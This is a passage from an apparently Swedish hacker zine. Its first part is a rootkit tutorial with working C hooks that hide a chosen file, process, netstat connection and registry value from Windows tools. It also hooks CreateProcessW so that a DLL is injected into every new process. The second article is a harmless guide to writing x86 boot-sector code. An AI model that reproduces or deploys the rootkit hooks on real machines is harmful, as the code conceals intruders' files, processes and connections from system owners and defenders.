LPCTSTR lpFileName, __out LPWIN32_FIND_DATA lpFindFileData ); lpFileName är katalogen eller filnamnet där funktionen ska söka. lpFindFileData innehåller den första träffen. Funktionen returnerar en HANDLE som kan användas vid senare anrop till FindNextFile. typedef struct _WIN32_FIND_DATA { DWORD dwFileAttributes; FILETIME ftCreationTime; FILETIME ftLastAccessTime; FILETIME ftLastWriteTime; DWORD nFileSizeHigh; DWORD nFileSizeLow; DWORD dwReserved0; DWORD dwReserved1; TCHAR cFileName[MAX_PATH]; TCHAR cAlternateFileName[14]; } WIN32_FIND_DATA, *PWIN32_FIND_DATA, *LPWIN32_FIND_DATA; De intressanta medlemmarna här är cFileName och cAlternateFileName. cFileName innehåller filnamnet utan katalog. cAlternateFileName innehåller alltid filnamnet i formatet filnamn.ext. När FindFirstFileW ersätts måste man jämföra cFileName mot det förbestämda filnamnet som ska döljas. Om filnamnet matchar behöver FindNextFileW anropas. HANDLE WINAPI HookedFindFirstFileW( __in LPCTSTR lpFileName, __out LPWIN32_FIND_DATA lpFindFileData ) { HANDLE l_hHandle; BOOL l_bRet = 0; l_hHandle = FindFirstFileW(lpFileName, lpFindFileData); if( l_hHandle == INVALID_HANDLE_VALUE ) return INVALID_HANDLE_VALUE; if( !strcmp((const char *)lpFindFileData->cFileName, "hidden.exe") ) l_bRet = HookedFindNextFileW(l_hHandle, lpFindFileData); //Only FindNextFile may return ERROR_NO_MORE_FILES if( l_bRet == ERROR_NO_MORE_FILES ) l_hHandle = INVALID_HANDLE_VALUE; return l_hHandle; } När anropet till FindFirstFile har genomförts så används den handle som returneras till att söka efter flera filer med FindNextFile. BOOL WINAPI FindNextFile( __in HANDLE hFindFile, __out LPWIN32_FIND_DATA lpFindFileData ); hFindFile är alltså den handle som FindFirstFile returnerar. lpFindFileData innehåller nästa fil i sökningen. HookedFindNextFileW anropar FindNextFileW tills dess att funktionen inte returnerar den skyddade filen. BOOL WINAPI HookedFindNextFileW( __in HANDLE hFindFile, __out LPWIN32_FIND_DATA lpFindFileData ) { BOOL l_bRet; do { l_bRet = FindNextFileW(hFindFile, lpFindFileData); } while( l_bRet && l_bRet != ERROR_NO_MORE_FILES && !wcscmp(lpFindFileData->cFileName, L"hidden.exe") ); return l_bRet; } Processer --------- När man vill dölja processer är taskmgr.exe det främsta målet. Vid undersökning av dess imports hittas flera lågnivåfunktioner, bl.a. NtQuerySystemInformation. ntdll.dll 100152C Import Address Table 1018418 Import Name Table FFFFFFFF time date stamp FFFFFFFF Index of first forwarder reference 77F40364 1E2 NtSetInformationFile 77F3FC84 157 NtOpenProcessToken 77F3FEB4 186 NtQueryInformationToken 77F42F1D 3B9 RtlInitializeCriticalSection 77F22E69 332 RtlEnterCriticalSection 77F22E29 3FA RtlLeaveCriticalSection 77F43068 308 RtlDeleteCriticalSection 77F3FCE4 15E NtOpenThread 77F3F354 CD NtClose 77F51205 4AA RtlTimeToElapsedTimeFields 77F3FCF4 15F NtOpenThreadToken 77F3FE94 183 NtQueryInformationProcess ... Detta betyder att hooks på högre nivå är meningslösa. Då Microsofts dokumentation av de lägre delarna av WIN-API är väldigt bristfällig och funktionerna tenderar att förändra sig mellan varje Windowsversion så försvåras arbetet. NTSTATUS WINAPI NtQuerySystemInformation( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __in_out PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ); SystemInformationClass bestämmer vilken typ av information som hämtas. För att erhålla information om aktiva processer används SystemProcessInformation. SystemInformation är en pekare till en buffert där en array av SYSTEM_PROCESS_INFORMATION sparas. typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; BYTE Reserved1[48]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION; NextEntryOffset används för att loopa igenom samtliga arrayer med tillhörande pid som returneras av funktionen. Exempel på loop: for( current = prev = (SYSTEM_PROCESS_INFORMATION *)SystemInformation; current->NextEntryOffset; current = (SYSTEM_PROCESS_INFORMATION *) ( (char *)current + current->NextEntryOffset) ) UniqueProcessId innehåller det unika process-id som alla program associeras med. För att utvinna namnet på processen används funktionen getNameFromPid. bool getNameFromPid(unsigned long ulPid, char * cpBuf, int iLen) { HANDLE hPro = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ , FALSE, ulPid); if( !hPro ) return false; HMODULE hMod; unsigned long ulBytes; EnumProcessModules(hPro, &hMod, sizeof(hMod), &ulBytes); memset(cpBuf, '\0', iLen); GetModuleBaseNameA(hPro, hMod, cpBuf, iLen); CloseHandle( hPro ); return true; } Funktionen enumererar alla aktiva processer och skriver det associerade namnet till cpBuf. Det är endast dessa två medlemmar man behöver använda för att manipulera resultatet. Tyvärr så har SYSTEM_PROCESS_INFORMATION ändrats ett flertal gånger under de senaste versionerna av Windows, vilket gör detta anpassat till endast Windows Xp/Vista. Här är den färdiga funktionen som döljer processen med namnet som definierades till PROCESS. För att endast dölja ett specifikt pid modifieras if-satsen: if( strstr(cProcess, PROCESS)) till if( int(current->UniqueProcessId) == PID ) NTSTATUS WINAPI HookedNtQuerySystemInformation( /*__in*/ SYSTEM_INFORMATION_CLASS SystemInformationClass, /*__in_out*/ PVOID SystemInformation, /*__in*/ ULONG SystemInformationLength, /*__out_opt*/ PULONG ReturnLength ) { NTSTATUS ret = ((orgNtQuerySystemInformation) hookNtQuerySystemInformation.m_vpOriginal)(SystemInformationClass , SystemInformation, SystemInformationLength, ReturnLength); if(ret != STATUS_SUCCESS || SystemInformationClass != SystemProcessInformation) return ret; char cProcess[MAX_PATH]; SYSTEM_PROCESS_INFORMATION * current, * prev; for( current = prev = (SYSTEM_PROCESS_INFORMATION *)SystemInformation; current->NextEntryOffset; current = (SYSTEM_PROCESS_INFORMATION *)( (char *)current + current->NextEntryOffset) ) { getNameFromPid((int)(current->UniqueProcessId), cProcess, MAX_PATH); if( strstr(cProcess, PROCESS)) // int(current->UniqueProcessId) == 2100 { if( !current->NextEntryOffset ) prev->NextEntryOffset = 0; else prev->NextEntryOffset += current->NextEntryOffset; } else prev = current; } return ret; } Anslutningar ------------ För att dölja anslutningar är netstat.exe det främsta målet. Tredjepartsapplikationer, som fport, använder oftast liknande funktioner. netstat skiljer sig avsevärt mellan Xp och Vista. Under Xp används funktionen AllocateAndGetTcpExTableFromStack för att hämta data för aktuella anslutningar. I Vista existerar inte ens denna funktion. För exempel på hooks till AllocateAndGetTcpExTableFromStack, hänvisar jag till NtIllusion rootkit. netstat's imports avslöjar att den använder flera funktioner exporterade av IPHLPAPI.DLL. IPHLPAPI.DLL 100101C Import Address Table 10051B8 Import Name Table FFFFFFFF time date stamp FFFFFFFF Index of first forwarder reference 6C62CA6B AA InternalGetTcpTableWithOwnerModule 6C62CA93 A5 InternalGetTcp6Table2 6C62CB4F B0 InternalGetUdpTableWithOwnerModule 6C62CADD A6 InternalGetTcp6TableWithOwnerModule 6C62CA21 A9 InternalGetTcpTable2 6C629EFE 71 GetTcpStatisticsEx 6C62D059 46 GetIcmpStatisticsEx 6C62A417 5C GetIpStatisticsEx 6C629B4B 77 GetUdpStatisticsEx 6C62CB9C AD InternalGetUdp6TableWithOwnerModule Då Internal-funktioner saknar dokumentation från Microsoft så försvårar detta något. Efter att netstat har anropat InternalGetTcp6Table2 kommer programmet använda någon funktion för att skriva ut resultatet visuellt. En snabb kik i olly ger att FormatMessageA och CharToOemBuffA anropas för att formatera resultatet till skärmen. Vi hittar A/W-versioner bland import's. USER32.dll 10010CC Import Address Table 1005268 Import Name Table FFFFFFFF time date stamp FFFFFFFF Index of first forwarder reference 77D66CAD 34 CharToOemBuffA 77D84CF5 35 CharToOemBuffW Om filen anayseras i en debugger syns det även att CharToOemBuffA anropas efter InternalGetTcp6Table2, för varje rad output. 00733DC7 /$ 8BFF MOV EDI,EDI 00733DC9 |. 55 PUSH EBP 00733DCA |. 8BEC MOV EBP,ESP 00733DCC |. 51 PUSH ECX 00733DCD |. 51 PUSH ECX 00733DCE |. 57 PUSH EDI 00733DCF |. 8D45 10 LEA EAX,DWORD PTR SS:[EBP+10] 00733DD2 |. 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX 00733DD5 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 00733DD8 |. 50 PUSH EAX 00733DD9 |. 6A 00 PUSH 0 00733DDB |. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 00733DDE |. 50 PUSH EAX 00733DDF |. 6A 00 PUSH 0 00733DE1 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] 00733DE4 |. 6A 00 PUSH 0 00733DE6 |. 68 00090000 PUSH 900 00733DEB |. FF15 B0107300 CALL DWORD PTR DS:[<&KERNEL32.FormatMess> 00733DF1 |. 8BF8 MOV EDI,EAX 00733DF3 |. 85FF TEST EDI,EDI 00733DF5 |. 74 65 JE SHORT NETSTAT.00733E5C 00733DF7 |. 837D 08 02 CMP DWORD PTR SS:[EBP+8],2 00733DFB |. 56 PUSH ESI 00733DFC |. 8B35 54117300 MOV ESI,DWORD PTR DS:[<&msvcrt._iob>] 00733E02 |. 75 05 JNZ SHORT NETSTAT.00733E09 00733E04 |. 83C6 40 ADD ESI,40 00733E07 |. EB 03 JMP SHORT NETSTAT.00733E0C 00733E09 |> 83C6 20 ADD ESI,20 00733E0C |> 68 00800000 PUSH 8000 00733E11 |. 56 PUSH ESI 00733E12 |. FF15 58117300 CALL DWORD PTR DS:[<&msvcrt._fileno>] 00733E18 |. 59 POP ECX 00733E19 |. 50 PUSH EAX 00733E1A |. FF15 5C117300 CALL DWORD PTR DS:[<&msvcrt._setmode>] 00733E20 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00733E23 |. 59 POP ECX 00733E24 |. 59 POP ECX 00733E25 |. 8D48 01 LEA ECX,DWORD PTR DS:[EAX+1] 00733E28 |> 8A10 /MOV DL,BYTE PTR DS:[EAX] 00733E2A |. 40 |INC EAX 00733E2B |. 84D2 |TEST DL,DL 00733E2D |.^75 F9 \JNZ SHORT NETSTAT.00733E28 00733E2F |. 2BC1 SUB EAX,ECX 00733E31 |. 50 PUSH EAX 00733E32 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] 00733E35 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] 00733E38 |. FF15 CC107300 CALL DWORD PTR DS:[<&USER32.CharToOemBuf> 00733E3E |. FF75 FC PUSH DWORD PTR SS:[EBP-4] 00733E41 |. 68 D0117300 PUSH NETSTAT.007311D0 00733E46 |. 56 PUSH ESI 00733E47 |. FF15 60117300 CALL DWORD PTR DS:[<&msvcrt.fprintf>] 00733E4D |. 83C4 0C ADD ESP,0C 00733E50 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] 00733E53 |. FF15 B4107300 CALL DWORD PTR DS:[<&KERNEL32.LocalFree>> 00733E59 |. 8BC7 MOV EAX,EDI 00733E5B |. 5E POP ESI 00733E5C |> 5F POP EDI 00733E5D |. C9 LEAVE 00733E5E \. C3 RETN Detta betyder att man kan hooka CharToOemBuffA för uppnå önskad effekt. BOOL CharToOemBuffA( LPCSTR lpszSrc, LPSTR lpszDst, DWORD cchDstLength ); lpszSrc är pekare till en nullterminerad sträng av indata. lpszDst pekar på en buffer där resultatet skrivs ut. cchDstLength innehåller antalet tecken som ska översättas från lpszSrc. Här kommer ett exempel på hook av CharToOemBuffA. Hela källkod- och headerfilen bifogas. /* CharToOemBuff.c */ #include "StdAfx.h" #include "CharToOemBuff.h" #include "../config.h" SHook hookCharToOemBuffA = {"USER32.dll", "CharToOemBuffA", (unsigned long) HookedCharToOemBuffA, NULL}; BOOL WINAPI HookedCharToOemBuffA( LPCSTR lpszSrc, LPSTR lpszDst, DWORD cchDstLength ) { if( strstr(lpszSrc, IP) ) return ((orgCharToOemBuffA)hookCharToOemBuffA.vpOriginal)("", lpszDst , cchDstLength); return ((orgCharToOemBuffA)hookCharToOemBuffA.vpOriginal)(lpszSrc, lpszDst , cchDstLength); } /* CharToOemBuff.h */ #pragma once #include "../SHook.h" typedef BOOL (WINAPI*orgCharToOemBuffA)(LPCSTR, LPSTR, DWORD); BOOL WINAPI HookedCharToOemBuffA( LPCSTR lpszSrc, LPSTR lpszDst, DWORD cchDstLength ); extern SHook hookCharToOemBuffA; Registret --------- För att undersöka registret under Windows används främst regedt32.exe (GUI) och reg.exe (konsol). Även regedit.exe finns. Dump av regedt32.exe imports visar inget intressant förutom: SHELL32.dll 100104C Import Address Table 1001B8C Import Name Table FFFFFFFF time date stamp FFFFFFFF Index of first forwarder reference 7672A3E8 114 ShellExecuteA Troligtvis så anropar regedt32.exe reg.exe för att hämta värden. Jävla fulhack. reg.exe intressanta imports: ADVAPI32.dll 1001000 Import Address Table 100D694 Import Name Table FFFFFFFF time date stamp FFFFFFFF Index of first forwarder reference 77CD64CC 22A RegCloseKey 77CA669D 22E RegConnectRegistryW 77CD632E 268 RegQueryValueExW 77CC7B8D 25E RegOpenKeyW 77CC802D 278 RegSetValueExW 77CC04A2 233 RegCreateKeyExW 77CD5ECD 25B RegOpenKeyExW 77CBEB10 249 RegEnumKeyExW 77CBEFCA 24C RegEnumValueW 77CBEE0A 262 RegQueryInfoKeyW 77CB5E95 1E AdjustTokenPrivileges 77CB5ECC 191 LookupPrivilegeValueW 77CBF357 1F1 OpenProcessToken 77D12119 272 RegSaveKeyW 77D12421 271 RegSaveKeyExW 77D11E61 26E RegRestoreKeyW 77C99285 254 RegLoadKeyW 77CD7C4A 27B RegUnLoadKeyW 77CD66F7 250 RegGetValueW 77CAB02D 23E RegDeleteKeyW 77CBB380 242 RegDeleteValueW 77CBB19C 24A RegEnumKeyW 77CA8229 236 RegCreateKeyW 77CD7E74 24D RegFlushKey 77CD93F5 279 RegSetValueW 77CB3C99 277 RegSetValueExA ntdll.dll 10011AC Import Address Table 100D840 Import Name Table FFFFFFFF time date stamp FFFFFFFF Index of first forwarder reference 77F40384 1E4 NtSetInformationKey 77F3FEF4 18D NtQueryKey Wohoo, nu flödar registerfunktionerna. NT-funktionerna saknar dokumentation, så ett första försök med Reg**** blir det naturliga valet för den late. De funktioner som används för att hämta information är främst RegEnumValueW. Prototyp: LONG WINAPI RegEnumValueW( __in HKEY hKey, __in DWORD dwIndex, __out LPTSTR lpValueName, __in_out LPDWORD lpcchValueName, LPDWORD lpReserved, __out LPDWORD lpType, __out LPBYTE lpData, __in_out LPDWORD lpcbData ); Funktionen enumerar alla poster i nyckeln key. Beroende på dwIndex returnerar funktionen en viss post. lpValueName är namnet på nyckeln. Hooket nedan anropar först orginalfunktionen och konverterar resultatet (lpValueName) till ASCII. Om REG_KEY återfinns i resultatet så inkrementeras dwIndex och funktionen returnerar med RegEnumValueW på nästa nyckel. Hooket är knappast fulländat då det missar vissa nycklar, något som läsaren får fundera på. LONG WINAPI HookedRegEnumValueW( __in HKEY hKey, __in DWORD dwIndex, __out LPTSTR lpValueName, /*__in_out*/ LPDWORD lpcchValueName, LPDWORD lpReserved, __out LPDWORD lpType, __out LPBYTE lpData, /*__in_out*/ LPDWORD lpcbData ) { LONG ret = ((orgRegEnumValueW)hookRegEnumValueW.m_vpOriginal)(hKey, dwIndex , lpValueName, lpcchValueName, lpReserved, lpType, lpData, lpcbData); WideCharToMultiByte(CP_ACP, NULL, lpValueName, -1, l_cBuf, MAX_PATH, NULL , NULL); if( strstr(l_cBuf, REG_KEY) ) return ((orgRegEnumValueW)hookRegEnumValueW.m_vpOriginal)(hKey , ++dwIndex, lpValueName, lpcchValueName, lpReserved, lpType, lpData , lpcbData); return ret; } CreateProcess ------------- När rootkitet körs så påverkas alla aktiva processer och koden exekveras inom dessa. Detta betyder att varje gång en ny process startas med CreateProcess så kommer den inte vara påverkad av vårt rootkit. För att kringgå problemet behöver man hooka CreateProcess. Den hookade funktionen kommer först anropa originalet varpå den pausar exekveringen av den startade processen. Detta för att ersätta alla funktionsanrop innan tråden återställs med ResumeThread. Processens PID och tillhörande HANDLEs finns i lpProcessInformation, det sista argumentet till CreateProcess. SHook hookCreateProcessW("KERNEL32.dll", "CreateProcessW" , (unsigned long)HookedCreateProcessW, NULL); BOOL WINAPI HookedCreateProcessW( __in_opt LPCTSTR lpApplicationName, __inout_opt LPTSTR lpCommandLine, __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes, __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles, __in DWORD dwCreationFlags, __in_opt LPVOID lpEnvironment, __in_opt LPCTSTR lpCurrentDirectory, __in LPSTARTUPINFO lpStartupInfo, __out LPPROCESS_INFORMATION lpProcessInformation ) { BOOL ret = ((orgCreateProcessW)hookCreateProcessW.m_vpOriginal)( lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes , bInheritHandles, CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory , lpStartupInfo, lpProcessInformation); unsigned long ulPid = ((PROCESS_INFORMATION *)lpProcessInformation)->dwProcessId; HANDLE hThread = ((PROCESS_INFORMATION *)lpProcessInformation)->hThread; injectDll( ulPid ); Sleep(2000); ResumeThread(hThread); return ret; } Slutord ======= Förhoppningsvis har jag gett dig en grundlig inblick i hur rootkits fungerar. Vid vidare intresse är boken "Subverting The Windows Kernel" ovärderlig. Källor ====== Rootkits: Subverting the Windows Kernel (Addison-Wesley Software Security Series) http://msdn.microsoft.com/en-us/library/ms809762.aspx http://www.codeproject.com/KB/threads/winspy.aspx ================================================================================ 0x02 bootbar kod för x86 - Del 1 swestres ================================================================================ Inledning --------- Denna artikel kommer att handla om vad den heter. Bootbar kod i det här sammanhanget är kod som körs då datorn startar upp, efter det att det laddats till minnet av BIOS. x86 är intels 32-bitars arkitektur (a.k.a. IA-32). Den kommer att lägga grunden för kommande artiklar som kommer att gå lite mer på djupet. Det är rekommenderat att kunna x86/IA-32 assembler sen tidigare. Att skriva program som ska köras av datorn själv, utan de abstraktionslager som ett operativsystem erbjuder i form av systemanrop och kodbibliotek, är väldigt annorlunda mot vad det är att skriva vanliga applikationsprogram för t.ex. Windows. Skriver du ett filter för POSIX-system kanske du vill att det ska skriva ut text till skärmen. Då använder du printf vars implementering finns i libc. Men vad skulle du göra om libc inte finns att tillgå? Vi kommer att leka med en del saker som kan resultera i att du genom oaktsamhet eller idioti förstör/skriver över data som kan vara viktig för dig eller din dator. Artikelförfattaren tar inget ansvar i händelse av förlorad data. Bootprocessen ------------- När du trycker på Av/På-knappen till din dator händer det något magiskt. Då den strida strömmen av elektroner återigen börjar flöda genom CPUns kretsar sätts instruktionspekaren till 0xFFFF0 som råkar vara en adress i din dators BIOS (Basic Input/Output System). Initieringskod börjar köras, själv-tester, bootstrapping av andra enheter än CPUn etc. När BIOSet har gjort sitt är det dags att ladda den kod som ska köras till minnet. Vårt BIOS börjar frenetiskt att leta efter körbar kod. Den kollar USB-diskar, disketter (om någon använder det fortfarande), CR-ROM skivor och hårddiskar. När den hittar någon form av läsbar lagringsmedia där de sista två byten i slutet av den första sektorn på disken (denna sektor kallas för bootsektorn) är 0x55 0xAA så laddar den sektorn till minnesadress 0x7C00 och påbörjar körning. Fram tills nu har vi inte kunnat påverka så mycket. Den första maskinkod vår CPU kör är BIOS, och den sitter oftast i ett flashminne (IC-krets style) eller i ett äldre EEPROM. Klart vi kan ändra denna med en programmerare, men det är ett djup jag aldrig simmat på, ett berg jag aldrig klättrat, en väg jag aldrig gått. Istället ska vi fokusera på att skriva kod som bootas av BIOS. x86 - arbetslägen, minnesadressering och I/O -------------------------------------------- IA-32 är en kul arkitektur. Intel har satsat hårt på bakåtkompabilitet, och istället för att göra sig av med gamla föråldrade saker låter man de vara kvar för att inte göra gammal, plattformsberoende (visa mig något som är oberoende av plattform...) mjukvara ska bli värdelös. På grund av detta kan just bootprocessen bli väldigt invecklad. Saken görs inte lättare av att andra komponenter vid sidan av CPUn följer samma mantra när det gäller bakåtkompabilitet. Klart det finns fördelar, samma gränssnitt idag som för 20 år sedan gör att man slipper lära sig nya gränssnitt hela tiden och anpassa mjukvaran därefter. Gamla gränssnitt ligger kvar vid sidan av de nya, dåligt dokumenterade, proprietära gränssnitten. Till att börja med har IA-32 två typer av arbetslägen: 16-bitars och 32-bitars. När processorn startat och BIOS gjort sitt arbetar den i 16-bitars läge. Detta innebär att adressbussen och registerna är 16-bitar breda, du kan adressera 64 kilobyte RAM (de där gigabyten du sitter på spelar inte så stor roll helt plötsligt) och CPUns general purpose register kan hålla tal mellan 0 och 65535 eller -32768 till 32767. Minnessadresseringen i detta läge är ganska kul den med. Jag nämnde innan att man kan adressera 64-kilobyte RAM. Detta är inte riktigt sant. Du kan adressera 64 kB *inom samma segment*! Det är nämligen så här att adresser i detta läge (som för övrigt går under namnet 16-bit real mode på utrikiska) delas upp i två delar, segment och offset. För att omvandla en fysisk adress i RAM, t.ex. 0xA0104 till segment:offset adress tar vi och skiftar adressen fyra steg åt höger (dividerar med 16) och adderar vår offset. Således är A0104 och A010:0004 samma adress. Skälet till att man krånglar till det såhär är så att man ska kunna adressera upp till 1 MB RAM. Vi får 20-bitars adresser. För att underlätta adressering finns det flertalet segmentregister som håller vad de kallas, segmentadresser. Om vi delar upp vårt program så att vi har data vid 0x10000, kod vid 0x20000 och stacken vid 0x3FFFC (stacken växer neråt, remember?) så sätter vi datasegmentsregistret ds till 0x1000, kodsegmentsregistret cs till 0x2000 och stacksegmentsregistret ss till 0x3000 och stackpekaren sp till 0xFFFC. Genom att dela upp minnet på detta sätt och inte ha segment som överlappar varandra (vilket är fullt möjligt) slipper vi missöden som att stacken skulle skriva över kod eller data när den fylls. Om sp är 0x0000 och vi pushar något på stacken wrappar den runt och blir 0xFFFC, men ss är fortfarande 0x3000, så vi skriver "bara" över tidigare stackelement. På tal om segment så är vissa register bundna till vissa segment. Instruktions- pekaren är bunden till cs, kodsegmentet. di är bunden till es, si är bunden till ds. De två sista för lods/stos instruktioner. Stackpekaren sp är bunden till ss, stacksegmentet. x86 har en separat minnesrymd skild från den vanliga adressbussen för I/O, in- och utmatning av data. Den vanliga minnesrymden används också för I/O, men det finns alltså en separat minnesrymd dedikerad för I/O. Adresser i denna minnesrymd brukar kallas för I/O-portar. Ska vi vara petnoga adresserar man I/O-portar, adresserna är fortfarande adresser. Man använder inte instruktionen mov för att skriva till/läsa från dessa adresser, istället använder man instruktionerna in och out. I 16-bitars real mode adresserar man fysiska adresser. Det gör man inte i Windows eller linux (eller något modernt OS värt namnet), där får varje process en separat, virtuell minnesrymd. Behöver du komma åt minnesrymden hos en annan process i Windows får du låta kärnan hantera det via API-anropet ReadProcessMemory, och i Linux via systemanropet ptrace. Men här går det alldeles utmärkt att adressera hur fan man vill. Sen har man inte alltid så stor nytta av det då man troligtvis bara har en "process" (processer är en mjukvaruabstraktion som implementeras med hjälp av x86's stöd för sk. "tasks") som körs åt gången (att ha ett multi-taskande OS för x86 i real mode känns ganska gay idag). 16-bitars real mode är ganska tråkigt rent prestandamässigt, men det är ett bra ställe att börja på när det gäller att skriva bootbar kod. Man får helt enkelt börja från början. 32-bitars protected mode kommer att behandlas i en senare artikel. Gåendes runt grötskålen ----------------------- Vad vi behöver: * USB-minne (går med diskett också, men vem fan använder det?) * En dator (x86 PC) med stöd för USB-boot * Linuxdist. (eller annat mer eller mindre POSIX-kompatibelt OS; *BSD, Minix 3, etc) * nasm & dd * emacs (vi, nano, valfritt IDE i stil med Anjuta, Geany eller liknande) Nu ska vi bekanta oss med de verktyg vi ska använda för att framställa vår kewd. Vi gör detta genom att kompilera och boota ett hello-world program. Förhoppningsvis har du redan ett textredigeringsprogram och en utvecklingsmiljö du känner dig trygg med. dd är ett verktyg för att kopiera filer, och eftersom allt är en fil i POSIX så går det utmärkt att använda dd för att skriva till bootsektorn på ett USB-minne. Vi behöver lite kod också, observera: ===== KOD BITS 16 org 0x7C00 start: mov ax, 0xB800 mov es, ax xor di, di mov ds, di mov si, str mov ah, 0x04 .print: lodsb test al, al jz hang stosw shr ah, 1 jnz .print mov ah, 0x04 jmp .print hang: jmp $ ; hlt ftw str: db 'Hello, world!',0 times 510-($-$$) db 0 dw 0xAA55 ===== KOD Vackert, eller hur? Visst, kommentarer skadar inte, men just nu vill jag att du tittar på koden. Finns det kommentarer läser man dem istället för koden (det är ju deras funktion, deras raison d'être) och det vill vi ju inte. Segmentregister (es och ds i ovanstående kod) kan inte sättas till omedelbara värden, deras värde måste hämtas från ett register. I 16-bitars real mode kan man inte använda vilka register man vill för att referera till minnesplatser heller, mov byte [ax], 0x10 gillas inte, men mov byte [bx], 0x10 går hur bra som helst. I slutet på koden ser vi pseudo-op'en times fylla ut produkten med null-bytes så att den blir 510 byte stor upp tills dit. Sen lägger vi till två byte på slutet som fungerar som identifiering enligt tidigare givna förklaring. Det är viktigt att vår produkt blir exakt 512 byte stor eftersom den ska fylla bootsektorn. Jag kommer att förklara koden lite mer ingående senare, nu ska vi boota den! Kattenpejsta den till hello.asm och spara. Sen kör vi skiten genom nasm: nasm -fbin -o hello.bin hello.asm Nu sätter vi in vårt USB-minne om vi inte redan gjort det och skriver över den första sektorn (bootsektorn) med innehållet i hello.bin. Har du något viktigt på USB-minnet så spara det någon annanstans, minnet kommer behövas formateras om för att fungera normalt igen. Vi skriver över bootsektorn med dd: dd if=hello.bin of=/dev/sda Det kan vara en bra idé att kolla så att USB-minnet verkligen hamnar som sda så att du inte skriver över din externa hårddisk eller något annat klumpigt. Detta kan man göra genom att kolla dmesg efter det man satt in minnet, eller /etc/mtab om man har någon form av automount installerat. Givetvis måste du vara root för att skriva till /devs på detta sätt. Nu återstår bara en sak, boota från USB-stickan. Har du konfat ditt BIOS rätt bör det bara vara att starta om med USB-stickan i. Då ska du få upp en fin liten text på skärmen. Ta ut USB-stickan och tryck ctrl-alt-del för att starta om. Händer inget har du failat. Lös problemet, klarar du inte det är det bara att gå och hänga sig, för då är du fan ta mig för värdelös för att ens existera. Textvisning - VGA i textläge ---------------------------- I den tidigare presenterade koden börjar vi att sätta es:di till 0xB8000 (B800:0000), detta är en del av minnet som används av grafikkortet för att visa text i text mode, det videoläge som datorn normalt sett bootar i. För att skriva text till skärmen flyttar vi helt enkelt den text som ska skrivas till rätt position i minnet. 0xB8000 är första tecknet, 0xB8002 är andra, etc. Varje tecken i denna minnesregion representeras av två byte. Den första byten är ASCII-teckenkoden. Den andra byten beskriver bakgrund, förgrund och förgrundsintensitet hos tecknet. Bitarna sätts enligt följande tabell: 0 1 2 3 4 5 6 7 förgrund förgrund förgrund intensitet bg blå bg grön bg röd blink blå grön röd låg/hög Ett är "ja", noll är "nej". Färger kan blandas. Så vad koden gör är att hämta ett tecken från strängen, skriva det och vår "beskrivningsbyte" till den del av minnet som är associerat till grafikkortet. Grafikkortet skriver sen ut tecknet till skärmen. Koden bytar också färg på tecknet mellan röd-grön-blå beroende på position. Vill jag t.ex. skriva ut ett rött H mot en grön bakgrund på första kolumnen i den första raden skriver jag 0x2448 till B800:0000. Färger kan blandas också, vill du ha vit förgrundsfärg sätter du den lägre nibblen (fyra-bitarsdelen) til 0111 (binärt givetvis). Hårdvaruinterrupts och PICs --------------------------- För många ses interrupts som synonymt med systemanrop i Linux (pre 2.6 iaf). Det är väl så de flesta av oss lärt känna till denna CPU-mekanism. Men vad är det? En interrupt avbryter det normala programflödet för att köra en speciell funktion som kallas för en ISR (Interrupt Service Routine). x86 har 256 olika interrupts. Det finns två typer av interrupts, hårdvarutriggade och mjukvarutriggade. Mjukvarutriggade interrupts initieras av CPU-instruktionen int. De används bland annat för anrop mellan olika segment, t.ex. mellan bootkod och BIOS. Hårdvarutriggade interrupts initieras av någon extern händelse, t.ex. en nedtryckt tangent eller en signal från någon kontroller utanför CPUn. I grova drag går det till som så att interruptkontrollern (PIC - Programmable Interrupt Controller) tar emot en förfrågan om en interrupt (Interrupt ReQuest, IRQ) från någon extern källa. Interruptkontrollern anropar sedan den ISR som är associerad till den interruptförfrågan som skickades. Förr i tiden var PICen en (två faktiskt) Intel 8259 kontroller. Detta gränssnitt finns fortfarande kvar (om de fysiska chippen fortfarande används eller om det emuleras vet jag ej), men idag är det allt vanligare med Intels APIC (A för Advanced) som möjliggör fler IRQ-linjer än tidigare (256 vs. 16). 8259-gränssnittet räcker dock mer än väl för oss just nu. Hur avgör CPUn vilken ISR som ska anropas för en given interrupt? Hur sker översättningen mellan interruptnummer och ISR-adress? Vid 0000:0000 börjar ett fält som kallas för IVT - Interrupt Vector Table. Skulle man beskriva det i C-kod skulle det kunna se ut såhär: struct ivt_s { uint16_t offset; uint16_t segment; } IVT[256]; IVT[0] håller offset och segment för interrupt 0, IVT[1] för interrupt 1, etc. Skulle vi registrera en ISR för interrupt 128 (0x80) skulle vi helt enkelt skriva över IVT[128] med offset och segmentadress till den position där vår ISR börjar. När sedan int 0x80 körs ändras instruktionspekaren till den adress som finns angiven vid IVT[128] (samt en del annat). Så, om IRQ0 genereras, anropas interrupt 0 då? Svar nej. IRQ0-15 delas upp i två block (en för varje 8259 PIC). IRQ0-7 är interrupt 8-15 (0x08-0x0F) och IRQ8-15 är interrupt 88-95 (0x58-0x5F). Hur ser en ISR ut då? I grova drag något sånt här: myISR: cli ;; kewd som gör saker sti iret IRQ ISRs brukar ha lite extra kod för att skicka ett End Of Interrupt-meddelande till PICen, och oftast brukar man pusha registerna till stacken för att inte ändra tillståndet hos datorn när man återvänder till den del av koden som kördes innan interrupten anropades. Detta är särskillt viktigt för hårdvaruinterrupts. Tänk er själv vad som skulle hända i följande scenario: 